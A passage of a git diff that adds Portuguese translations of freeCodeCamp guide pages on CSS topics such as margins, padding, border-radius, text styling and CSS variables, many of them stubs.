+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..39609950f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-weight for Multiple Heading Elements
+localeTitle: Definir o peso da fonte para vários elementos de título
+---
+## Definir o peso da fonte para vários elementos de título
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
new file mode 100644
index 0000000000..0c527c365f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the line-height of Paragraphs
+localeTitle: Definir a altura da linha de parágrafos
+---
+## Definir a altura da linha de parágrafos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
new file mode 100644
index 0000000000..46a511ec6b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Bezier Curve to Move a Graphic
+localeTitle: Use uma curva de Bezier para mover um gráfico
+---
+## Use uma curva de Bezier para mover um gráfico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
new file mode 100644
index 0000000000..14d047a9e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Linear Gradient to Create a Striped Element
+localeTitle: Use um gradiente linear CSS para criar um elemento distribuído
+---
+## Use um gradiente linear CSS para criar um elemento distribuído
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
new file mode 100644
index 0000000000..0b7fb55222
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Animation to Change the Hover State of a Button
+localeTitle: Use animação CSS para alterar o estado de foco de um botão
+---
+## Use animação CSS para alterar o estado de foco de um botão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
new file mode 100644
index 0000000000..93e0b9c2bb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewX to Skew an Element Along the X-Axis
+localeTitle: Use a propriedade skewX da transformação de CSS para inclinar um elemento ao longo do eixo X
+---
+## Use a propriedade skewX da transformação de CSS para inclinar um elemento ao longo do eixo X
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
new file mode 100644
index 0000000000..5b94cdaaf6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewY to Skew an Element Along the Y-Axis
+localeTitle: Use a propriedade CSS Transform Property skewY para inclinar um elemento ao longo do eixo Y
+---
+## Use a propriedade CSS Transform Property skewY para inclinar um elemento ao longo do eixo Y
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
new file mode 100644
index 0000000000..8caccc44b9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Change the Size of an Element
+localeTitle: Use a propriedade de escala de transformação de CSS para alterar o tamanho de um elemento
+---
+## Use a propriedade de escala de transformação de CSS para alterar o tamanho de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
new file mode 100644
index 0000000000..172478923a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Scale an Element on Hover
+localeTitle: Use a propriedade de escala Transform do CSS para dimensionar um elemento no Hover
+---
+## Use a propriedade de escala Transform do CSS para dimensionar um elemento no Hover
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
new file mode 100644
index 0000000000..63d16863f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the del Tag to Strikethrough Text
+localeTitle: Use o del Tag para texto tachado
+---
+## Use o del Tag para texto tachado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
new file mode 100644
index 0000000000..ca61254113
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the em Tag to Italicize Text
+localeTitle: Use o tag em para colocar em itálico
+---
+## Use o tag em para colocar em itálico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
new file mode 100644
index 0000000000..4fa9028d9d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the strong Tag to Make Text Bold
+localeTitle: Use a tag forte para tornar o texto em negrito
+---
+## Use a tag forte para tornar o texto em negrito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
new file mode 100644
index 0000000000..26ef9fbd9c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the text-transform Property to Make Text Uppercase
+localeTitle: Use a propriedade text-transform para tornar o texto maiúsculo
+---
+## Use a propriedade text-transform para tornar o texto maiúsculo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
new file mode 100644
index 0000000000..41bc9175ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the u Tag to Underline Text
+localeTitle: Use a tag u para sublinhar o texto
+---
+## Use a tag u para sublinhar o texto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
new file mode 100644
index 0000000000..316cb552aa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
@@ -0,0 +1,25 @@
+---
+title: Add a Negative Margin to an Element
+localeTitle: Adicione uma margem negativa a um elemento
+---
+## Adicione uma margem negativa a um elemento
+
+Margem é o espaçamento entre a borda de um elemento e outros elementos na página.
+
+• Há espaçamento entre o topo, a direita, a parte inferior e a esquerda.
+
+• O número está em [unidades css](https://www.tutorialspoint.com/css/css_measurement_units.htm)
+
+Por exemplo, para ajustar a margem de um elemento para ser negativo, você poderia usar:
+
+```css
+.example { 
+ margin: -10px; 
+ } 
+```
+
+**Para ajustar o preenchimento de um elemento individual,** use: preenchimento: `-10` px;
+
+[Você pode descobrir muito mais sobre margens negativas aqui](https://www.smashingmagazine.com/2009/07/the-definitive-guide-to-using-negative-margins/)
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
new file mode 100644
index 0000000000..b13c194d2a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Borders Around Your Elements
+localeTitle: Adicionar bordas ao redor de seus elementos
+---
+## Adicionar bordas ao redor de seus elementos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..74c4171c9f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,33 @@
+---
+title: Add Different Margins to Each Side of an Element
+localeTitle: Adicione margens diferentes a cada lado de um elemento
+---
+## Adicione margens diferentes a cada lado de um elemento
+
+Para ajustar as margens de um elemento, use:
+
+```css
+.example { 
+  margin: 10px; 
+ } 
+```
+
+Para especificar tamanhos de margens em um elemento por lados individuais, podemos usar 'margin-top', 'margin-right', 'margin-bottom' e 'margin left'. Podemos usar qualquer um destes em combinação e em qualquer ordem. Por exemplo:
+
+```css
+.example { 
+  margin-top: 5px; 
+  margin-bottom: 0px; 
+ } 
+```
+
+Ou:
+
+```css
+.example { 
+  margin-top: 20px; 
+  margin-left: 25px; 
+  margin-right: 5px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..4db446ae8a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
@@ -0,0 +1,33 @@
+---
+title: Add Different Padding to Each Side of an Element
+localeTitle: Adicionar preenchimento diferente a cada lado de um elemento
+---
+## Adicionar preenchimento diferente a cada lado de um elemento
+
+Para ajustar o preenchimento de um elemento, use:
+
+```css
+.example { 
+  padding: 10px; 
+ } 
+```
+
+Para especificar tamanhos de preenchimento em um elemento por lados individuais, podemos usar 'padding-top', 'padding-right', 'padding-bottom' e 'padding-left'. Podemos usar qualquer um destes em combinação e em qualquer ordem. Por exemplo:
+
+```css
+.example { 
+  padding-top: 5px; 
+  padding-bottom: 0px; 
+ } 
+```
+
+Ou:
+
+```css
+.example { 
+  padding-top: 20px; 
+  padding-left: 25px; 
+  padding-right: 5px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
new file mode 100644
index 0000000000..64710458da
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
@@ -0,0 +1,50 @@
+---
+title: Add Rounded Corners with border-radius
+localeTitle: Adicionar cantos arredondados com raio de borda
+---
+## Adicionar cantos arredondados com raio de borda
+
+Às vezes você quer ter cantos arredondados em vez de quadrados. Neste caso, usamos a propriedade "border-radius" para determinar o quão arredondado queremos que nossos cantos sejam.
+
+Para ajustar a redondeza de um canto, use:
+
+```css
+.example { 
+ border-radius: 5px; 
+ } 
+```
+
+Quanto maior o número, mais arredondado.
+
+```css
+.example { 
+ border-radius: 20px; 
+ } 
+```
+
+Usando a propriedade border-radius, podemos arredondar os cantos do nosso elemento, quer isso signifique arredondar uma borda, uma imagem de plano de fundo ou a cor de preenchimento do próprio elemento. Você só vai notar os novos cantos arredondados se houver uma mudança de cor!
+
+Se você incluir apenas um número, esse raio será aplicado aos quatro cantos. Se você usar dois valores, o primeiro se aplica aos cantos superior esquerdo e inferior direito, enquanto o segundo se aplica ao canto superior direito e inferior esquerdo.
+
+```css
+.exampleTwoValues { 
+ border-radius: 5px 10px; 
+ } 
+```
+
+Se você usar quatro valores, os valores serão aplicados à parte superior esquerda, superior direita, inferior direita e inferior esquerda.
+
+```css
+.exampleFourValues { 
+ border-radius: 5px 7px 10px 15px; 
+ } 
+```
+
+Se você usar três valores, o primeiro se aplica ao canto superior esquerdo, o segundo se aplica ao canto superior direito e inferior esquerdo, e o terceiro se aplica ao canto inferior direito.
+
+```css
+.exampleThreeValues { 
+ border-radius: 5px 10px 15px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..c45f1b9087
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
@@ -0,0 +1,41 @@
+---
+title: Adjust the Margin of an Element
+localeTitle: Ajustar a margem de um elemento
+---
+## Ajustar a margem de um elemento
+
+Ajustar a `Margin` de um `Element` significa aumentar ou diminuir a quantidade de espaçamento entre as bordas do Elemento e os Elementos adjacentes.
+
+• As margens são ajustadas com inteiros positivos e negativos por unidades de pixels ( `px` ).
+
+• As margens podem ser criadas em todas as direções (superior, inferior, esquerda, direita).
+
+Este é um exemplo de como está escrito:
+
+```css
+margin: 20px; 
+```
+
+Você pode alterar ou ajustar facilmente a `Margin` de um `Element` alterando o valor numérico:
+
+**Antes** :
+
+margem: `20` px;
+
+**Depois** :
+
+margem: `50` px;
+
+Você também pode criar uma `class` personalizada com uma `margin` que será usada repetidamente.
+
+```css
+  .style-margin { 
+    margin: 20px; 
+  } 
+```
+
+```html
+
+<h2 class="style-margin">Example</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..23a3ddaf21
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
@@ -0,0 +1,42 @@
+---
+title: Adjust the Padding of an Element
+localeTitle: Ajustar o preenchimento de um elemento
+---
+## Ajustar o preenchimento de um elemento
+
+Preenchimento é o espaçamento entre o conteúdo e a borda de um Elemento.
+
+• Existe espaçamento entre o topo, a base, a esquerda e a direita.
+
+• O espaçamento é um valor numérico que aumenta ou diminui por unidades de pixels que são escritas como `px` .
+
+Para ajustar o preenchimento de um elemento, use:
+
+```css
+padding: 10px; 
+```
+
+Para criar Padding como uma classe para um Element específico, use:
+
+```css
+.example-Padding { 
+  padding: 10px 
+ { 
+```
+
+Para aplicar essa classe ao campo apropriado, use:
+
+```html
+
+<div class="example-Padding"> 
+ <p> Example Text </p> 
+ </div> 
+```
+
+**Para ajustar o preenchimento de um elemento** , use:
+
+preenchimento: `10` px;
+
+Agora modifique o valor numérico para o valor desejado.
+
+preenchimento: `50` px;
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
new file mode 100644
index 0000000000..325391de89
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Attach a Fallback value to a CSS Variable
+localeTitle: Anexar um valor de fallback a uma variável CSS
+---
+## Anexar um valor de fallback a uma variável CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
new file mode 100644
index 0000000000..b46339f573
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
@@ -0,0 +1,37 @@
+---
+title: Cascading CSS Variables
+localeTitle: Variáveis ​​CSS em cascata
+---
+## Variáveis ​​CSS em cascata
+
+Variáveis ​​CSS em cascata, oficialmente chamadas de propriedades customizadas, são entidades que se comportam de maneira semelhante às variáveis ​​tradicionais. Nessas variáveis, os dados podem ser armazenados e atualizados para refletir novos valores mais tarde 2 .
+
+As variáveis ​​CSS são definidas para conter valores específicos e serem reutilizadas em todo o documento. Eles são definidos usando a notação de propriedade personalizada (por exemplo, `--main-color: black` ) e são acessados ​​usando a função `var()` (por exemplo, `color: var(--main-color)` ) 1 . Declare a variável CSS nos `:root` ou seletores de `body` para acesso global.
+
+Ao manter documentos CSS complexos, não é apenas benéfico usar variáveis ​​CSS, mas também é inteligente. Ao fazer atualizações futuras em vez de pesquisar centenas de linhas de código em potencial, basta atualizar a variável CSS necessária 1 .
+
+### Sintaxe
+
+```css
+:root { 
+  --main-bkgnd-color:  #00B8CB; 
+ } 
+ 
+ body { 
+  background-color: var(--main-bkgnd-color); 
+  font-family: 'Raleway', Helvetica, sans-serif; 
+ } 
+```
+
+Declarando a variável:
+
+```css
+--custom-name: value 
+```
+
+Usando a variável: `css var(--custom-name)`
+
+### Fontes
+
+1.  [Visite a página Cascading CSS Variables do MDN para obter mais informações.](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables)
+2.  [Perna, Maria Antonietta. "Um guia prático para as variáveis ​​CSS (propriedades personalizadas)" _sitepoint_ . 1º de agosto de 2018. Acesso em: 5 de outubro de 2018](https://www.sitepoint.com/practical-guide-css-variables-custom-properties/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
new file mode 100644
index 0000000000..00fcbcd5ac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Change a variable for a specific area
+localeTitle: Alterar uma variável para uma área específica
+---
+## Alterar uma variável para uma área específica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
new file mode 100644
index 0000000000..7dbd98e0cb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
@@ -0,0 +1,18 @@
+---
+title: Change the Color of Text
+localeTitle: Alterar a cor do texto
+---
+## Alterar a cor do texto
+
+Você pode alterar a cor do texto em CSS usando a propriedade `color` .
+
+### EXEMPLO
+```
+color: red; 
+```
+
+## SOLUÇÃO
+```
+<h2 style="color: red;">CatPhotoApp</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
new file mode 100644
index 0000000000..c07466b2f8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Font Size of an Element
+localeTitle: Alterar o tamanho da fonte de um elemento
+---
+## Alterar o tamanho da fonte de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..ee14890a6e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a custom CSS Variable
+localeTitle: Crie uma variável CSS personalizada
+---
+## Crie uma variável CSS personalizada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
new file mode 100644
index 0000000000..df43fe2c2f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-css/give-a-background-color-to-a-div-element/index.md
@@ -0,0 +1,47 @@
+---
+title: Give a Background Color to a div Element
+localeTitle: Dê uma cor de fundo para um elemento div
+---
+## Dê uma cor de fundo para um elemento div
+
